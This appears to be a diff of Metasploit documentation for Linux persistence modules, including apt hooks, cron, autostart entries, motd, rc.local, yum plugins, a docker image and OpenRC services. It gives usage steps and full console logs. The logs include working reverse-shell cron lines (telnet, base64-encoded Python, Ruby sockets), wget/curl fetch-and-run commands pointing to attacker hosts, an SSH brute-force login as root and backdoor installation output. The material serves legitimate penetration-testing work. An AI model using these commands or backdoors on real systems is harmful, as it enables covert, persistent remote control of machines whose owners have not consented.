## Verification Steps
1. Exploit a box that uses APT
2. `use linux/local/apt_package_manager_persistence`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
5. `exploit`
When the system runs apt-get update the payload will launch. You must set handler accordingly.
## Options
**BACKDOOR_NAME**
Name of backdoor executable
**HOOKNAME**
Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text.
**WritableDir**
Writable directory for backdoor default is (/usr/local/bin/)
## Scenarios
### Tested on Ubuntu 18.04.2 LTS
```
msf > use exploit/linux/local/apt_package_manager_persistence
msf exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444
[*] Payload handler running as background job 0.
msf exploit(linux/local/apt_package_manager_persistence) >
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500
msf exploit(linux/local/apt_package_manager_persistence) > set session 1
session => 1
msf exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136
lhost => 172.22.222.136
msf exploit(linux/local/apt_package_manager_persistence) > set lport 4444
lport => 4444
msf exploit(linux/local/apt_package_manager_persistence) > exploit
[*] Attempting to write hook:
[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd
[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9
[*] Backdoor will run on next APT update
msf exploit(linux/local/apt_package_manager_persistence) >
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500
msf exploit(linux/local/apt_package_manager_persistence) >
```
Note: Second session comes in after running `apt update` on the remote host
@@ -1,22 +0,0 @@
## Autostart persistence
This module persist a payload by creating a `.desktop` entry for Linux desktop targets.
### Testing
1. Exploit a box
2. `use exploit/linux/local/autostart_persistence`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` (for instance), configure the payload as needed
5. `exploit`
When the victim logs in your payload will be executed!
### Options
**NAME**
Name of the `.desktop` entry to add, if not specified it will be chosen randomly.
@@ -1,144 +0,0 @@
### Creating A Testing Environment
This module has been tested against:
1. Kali Rolling
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/cron_persistence`
5. Do: `set session #`
6. Do: `set target #`
7. Do: `set verbose true`
8. Optional Do: `set username` (depends on target selection)
9. Optional Do: `set cleanup false`
10. Do: `exploit`
## Options
**username**
Set a specific user's crontab if target 'User Crontab' is selected
**timing**
Set cron's timing. Default is to run within a minute. If this is changed, WfsDelay should be adjusted to compensate
**cleanup**
After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. **THIS WILL STOP THE PERSISTENCE!!!**
## Scenarios
### Kali Rolling (root)
Initial Access
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username root
username => root
msf auxiliary(ssh_login) > set password password
password => password
msf auxiliary(ssh_login) > set rhosts 10.10.60.168
rhosts => 10.10.60.168
msf auxiliary(ssh_login) > exploit
[*] 10.10.60.168:22 SSH - Starting bruteforce
[+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '
[*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Run our module (Cron)
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
msf exploit(cron_persistence) > set session 1
session => 1
msf exploit(cron_persistence) > set verbose true
verbose => true
msf exploit(cron_persistence) > set target 0
target => 0
msf exploit(cron_persistence) > exploit
[*] Started reverse double handler
[*] Max line length is 65537
[*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf
[+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR
[*] Waiting 90sec for callback
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo xPBXQvodQdzgByKR;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "xPBXQvodQdzgByKR\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400
[+] Deleted /etc/cron.d/FiThkldAZR
Run our module (System Crontab)
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
msf exploit(cron_persistence) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(cron_persistence) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(cron_persistence) > set session 1
session => 1
msf exploit(cron_persistence) > set verbose true
verbose => true
msf exploit(cron_persistence) > set target 2
target => 2
msf exploit(cron_persistence) > set cleanup false
cleanup => false
msf exploit(cron_persistence) > exploit
[*] Started reverse handler on 192.168.199.128:4444
[*] Max line length is 65537
[*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf
[+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab
[*] Waiting 90sec for callback
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400
And since we didn't clean up, if our session dies...
^C
Abort session 2? [y/N] y
[*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit
msf exploit(cron_persistence) > use exploit/multi/handler
msf exploit(handler) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(handler) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.199.128:4444
[*] Starting the payload handler...
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400
Run our module (User Crontab)
msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby
payload => cmd/unix/reverse_ruby
msf exploit(cron_persistence) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(cron_persistence) > set session 1
session => 1
msf exploit(cron_persistence) > set verbose true
verbose => true
msf exploit(cron_persistence) > set target 1
target => 1
msf exploit(cron_persistence) > exploit
[*] Started reverse handler on 192.168.199.128:4444
[*] Max line length is 65537
[*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf
[+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root
[*] Reloading cron to pickup new entry
[*] Waiting 90sec for callback
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400
@@ -1,37 +0,0 @@
This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required.
## Verification Steps
1. Start msfconsole
2. Obtain a session on the target machine
3. `use exploit/linux/local/motd_persistence`
4. `set session -1`
5. `exploit`
## Module usage
```
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/local/motd_persistence) > set session -1
session => -1
msf exploit(linux/local/motd_persistence) > exploit
[*] /etc/update-motd.d/99-check-updates written
msf exploit(linux/local/motd_persistence) >
[*] Sending stage (3045380 bytes) to 172.18.49.39
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
msf exploit(linux/local/motd_persistence) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter >
```
## Options
### BACKDOOR_NAME
Specify the name of the file to insert in the motd directory. (Default: 99-check-updates)
@@ -1,46 +0,0 @@
## rc.local Persistence
This module patches `/etc/rc.local` in order to launch a payload upon reboot.
> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case.
### Verification
1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`)
2. `use exploit/linux/local/rc_local_persistence`
3. `set SESSION <session>`
4. `set PAYLOAD <payload>`
5. `set LHOST <lhost>`
6. `exploit`
### Sample run
#### Escalate the session if needed
```
msf exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo
msf post(multi/manage/sudo) > set session 3
session => 3
msf post(multi/manage/sudo) > run
[*] SUDO: Attempting to upgrade to UID 0 via sudo
[*] No password available, trying a passwordless sudo.
[+] SUDO: Root shell secured.
[*] Post module execution completed
```
#### Persist
```
msf post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence
msf exploit(multi/handler) > set payload cmd/unix/reverse_ruby
payload => cmd/unix/reverse_ruby
msf exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41
LHOST => 192.168.0.41
msf exploit(linux/local/rc_local_persistence) > run
[*] Reading /etc/rc.local
[*] Patching /etc/rc.local
```
@@ -1,84 +0,0 @@
## Description
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. Module modifies a yum plugin to
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
will show what plugins are currently enabled on the system.
## Verification Steps
1. Exploit a box that uses Yum
2. `use linux/local/yum_package_manager_persistence`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
5. `exploit`
When the system runs yum update the payload will launch. You must set handler accordingly.
## Options
**BACKDOOR_NAME**
Name of backdoor executable
**PLUGIN**
Name of the yum plugin to target
**WritableDir**
Writable directory for backdoor default is (/usr/local/bin/)
**PluginPath**
Plugin path to use default is (/usr/lib/yum-plugins/)
## Scenarios
### Tested on Fedora 21
```
msf exploit(linux/local/yum_package_manager_persistence) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135)
msf exploit(linux/local/yum_package_manager_persistence) > set session 1
session => 1
msf exploit(linux/local/yum_package_manager_persistence) > set plugin langpacks
plugin => langpacks
msf exploit(linux/local/yum_package_manager_persistence) > set lhost 172.22.222.136
lhost => 172.22.222.136
msf exploit(linux/local/yum_package_manager_persistence) > exploit
[*] /usr/lib/yum-plugins/langpacks.py
[+] Plugins are enabled!
[*] Attempting to modify plugin
[*] Backdoor uploaded to /usr/local/bin/z9fJTx2wVg
[*] Backdoor will run on next Yum update
msf exploit(linux/local/yum_package_manager_persistence) > [*] Command shell session 2 opened (172.22.222.136:4444 -> 172.22.222.135:43791) at 2019-04-30 06:21:12 -0500
msf exploit(linux/local/yum_package_manager_persistence) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135)
2 shell cmd/unix 172.22.222.136:4444 -> 172.22.222.135:43791 (172.22.222.135)
msf exploit(linux/local/yum_package_manager_persistence) > sessions -i 2
[*] Starting interaction with 2...
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux localhost.localdomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 172.22.222.135 - Command shell session 2 closed.
msf exploit(linux/local/yum_package_manager_persistence) >
```
Note: Session 2 is received after running yum update on the remote host.
@@ -0,0 +1,138 @@
## Vulnerable Application
This module will run a payload when the apt package manager is used.
This module creates a pre-invoke hook for APT in `apt.conf.d`.
The hook name syntax is numeric followed by text.
Verified on Ubuntu 22.04
## Verification Steps
1. Exploit a box that uses APT
2. Obtain root persmissions, or enough permissions to edit the `apt.conf.d` folder
3. `use exploit/linux/persistence/apt_package_manager`
4. `set SESSION <id>`
5. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
6. `exploit`
When the system runs `apt-get update` the payload will launch.
## Options
### PAYLOAD_NAME
Name of backdoor executable. Defaults to a random name
### HOOKNAME
Name of pre-invoke hook to be installed in `/etc/apt/apt.conf.d/`. Pre-invoke hook name syntax is numeric followed by text.
## Scenarios
### Tested on Ubuntu 22.04
Initial access vector via web delivery
```
$ ./msfconsole -q
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Z73D1DUW --no-check-certificate http://111.111.1.111:8181/l; chmod +x Z73D1DUW; ./Z73D1DUW& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] 222.222.2.22 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:51076) at 2025-02-04 17:40:52 -0500
sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux root @ 222.222.2.22 111.111.1.111:4545 -> 222.222.2.22:51076 (222.222.2.22)
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/apt_package_manager
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > check
[*] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get.
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > exploit
[*] Command to run on remote host: curl -so ./xTOLdQoOTv http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xTOLdQoOTv;./xTOLdQoOTv&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get.
[*] Attempting to write hook:
[*] Wrote /etc/apt/apt.conf.d/76skoGqswo
[*] Backdoor uploaded /tmp/erNOJV96u
[+] Backdoor will run on next APT update
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/script/web_delivery linux/x64/meterpreter/reverse_tcp tcp://111.111.1.111:4545
1 Exploit: linux/persistence/apt_package_manager cmd/linux/http/x64/meterpreter/reverse_tcp tcp://111.111.1.111:4444
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) >
```
Run `sudo apt-get update` on the target.
```
[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.22 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:49804) at 2025-02-04 17:43:06 -0500
[msf](Jobs:2 Agents:2) exploit(linux/persistence/apt_package_manager) > sessions -i 2
[*] Starting interaction with 2...
(Meterpreter 2)(/tmp) > sysinfo
Computer : 222.222.2.22
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 2)(/tmp) >
```
#### Cleanup
```
(Meterpreter 2)(/tmp) > resource /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc
[*] Processing /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc for ERB directives.
resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /etc/apt/apt.conf.d/76skoGqswo
resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /tmp/erNOJV96u
```
@@ -0,0 +1,118 @@
## Vulnerable Application
This module will create an autostart `.desktop` entry to execute a payload.
The payload will be executed when the users logs in.
Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
The following payloads were used in testing:
- `cmd/unix/reverse_netcat`
- `linux/x64/meterpreter/reverse_tcp`
- `cmd/linux/http/x64/meterpreter/reverse_tcp`
## Verification Steps
1. Exploit a box
2. `use exploit/linux/persistence/autostart`
3. `set SESSION <id>`
4. `exploit`
When the victim logs in, your payload will be executed!
## Options
### BACKDOOR_NAME
Name of autostart entry. Defaults to a randomly generated name
### PAYLOAD_NAME
Name of the payload file to write. Defaults to a randomly generated name
### USER
User to target, or current user if blank
## Scenarios
### Ubuntu 18.04.3
Initial access vector via web delivery
```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO FWdHRs3A --no-check-certificate http://111.111.1.111:8181/l; chmod +x FWdHRs3A; ./FWdHRs3A& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:57884) at 2025-02-06 17:03:03 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/tmp) > sysinfo
Computer : ubuntu18desktop.local
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/tmp) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/autostart
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > exploit
[*] Command to run on remote host: curl -so ./xcsqfBQnCfcm http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xcsqfBQnCfcm;./xcsqfBQnCfcm&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/autostart) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Xorg is installed, possible desktop install.
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Making sure the autostart directory exists
[*] Uploading autostart file /home/ubuntu/.config/autostart/bHOXeW.desktop
[+] Backdoor will run on next login by ubuntu
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250206.0326/ubuntu18desktop.local_20250206.0326.rc
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
```
Login via gui
```
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:44316) at 2025-02-06 17:03:50 -0500
[msf](Jobs:2 Agents:2) exploit(linux/persistence/autostart) >
```
@@ -0,0 +1,168 @@
## Vulnerable Application
This module maintains persistence on a host by creating a docker image which runs our
payload, and has access to the host's file system (/host in the container). Whenever the
container restarts, the payload will run, or when the payload dies the executable
will run again after a delay. This will allow for writing back
into the host through cron entries, ssh keys, or other method.
Verified on Ubuntu 22.04.
## Verification Steps
1. Start `msfconsole`
2. Get a Meterpreter session
3. `use exploit/linux/persistence/docker_image`
4. `set SESSION [SESSION]`
5. `run`
6. You should get a new session from within the docker image with `/host` mounted from `/` on the host.
## Options
### SLEEP
How many seconds the docker image should wait before checking if the session has died and trying to re-establish it.
Default is `600`
## Scenarios
### Ubuntu 22.04
Get a meterpreter session
```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO bLEZJjLj --no-check-certificate http://1.1.1.1:8082/l; chmod +x bLEZJjLj; ./bLEZJjLj& disown
msf exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:49368) at 2025-09-10 09:06:24 -0400
```
Install Persistence
```
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/docker_image
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/docker_image) > set session 1
session => 1
msf exploit(linux/persistence/docker_image) > check
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Checking Docker availability and permissions...
[*] The service is running, but could not be validated. docker app is installed and accessible
msf exploit(linux/persistence/docker_image) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/docker_image) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/docker_image) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Checking Docker availability and permissions...
[!] The service is running, but could not be validated. docker app is installed and accessible
[*] Writing backdoor to /tmp//DoEVqOGSMX
[*] Writing '/tmp//DoEVqOGSMX' (250 bytes) ...
[*] Temporary container created: 3e7ce0d939e06035a34a9c00a83529631838c278de745edf8ef906ca4b04127b
[+] Persistent image created: alpine_fslaxxlv
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[+] Container started with internal entrypoint: 0793ddcdab86a68dfa27ce265411550d9bce5c29b183890e4984d01137e741c6
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:47480) at 2025-09-10 09:11:32 -0400
[*] Stopping and removing temp container
[*] Payload installed and running with 600-second loop in container
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250910.1144/2.2.2.2_20250910.1144.rc
```
Show the running docker container
```
msf exploit(linux/persistence/docker_image) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 16004 created.
Channel 21 created.
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
0793ddcdab86 alpine_fslaxxlv "/entrypoint.sh" 50 seconds ago Up 49 seconds great_cannon
exit
meterpreter > background
[*] Backgrounding session 1...
```
Kill meterpreter to show it restart automatically
```
msf exploit(linux/persistence/docker_image) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > exit
[*] Shutting down session: 2
[*] 2.2.2.2 - Meterpreter session 2 closed. Reason: Died
msf exploit(linux/persistence/docker_image) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:56490) at 2025-09-10 09:21:32 -0400
```
Show access to the host's OS.
```
msf exploit(linux/persistence/docker_image) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.22.1
PRETTY_NAME="Alpine Linux v3.22"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
meterpreter > cat /host/etc/os-release
PRETTY_NAME="Ubuntu 22.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.1 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
meterpreter > shell
Process 19 created.
Channel 3 created.
touch /host/root/pwnd
ls -lah /host/root/pwnd
-rw-r--r-- 1 root root 0 Sep 10 17:02 /host/root/pwnd
```
@@ -0,0 +1,117 @@
## Vulnerable Application
This module will create a service on the box via OpenRC, and mark it for auto-restart.
We need enough access to write service files and potentially restart services.
Verified against alpine 3.21.2
## Verification Steps
1. Exploit a box and get a **root** session
2. `use exploit/linux/persistence/init_openrc `
3. `set SESSION <session>`
4. `set PAYLOAD <payload>`
5. `set LHOST <lhost>`
6. `exploit`
## Options
### WritableDir
Remote writable directory to store the payload. Avoid using `/tmp` as it will be deleted upon reboot.
### SERVICE
The name of the service to create. If not chosen, a random one is created.
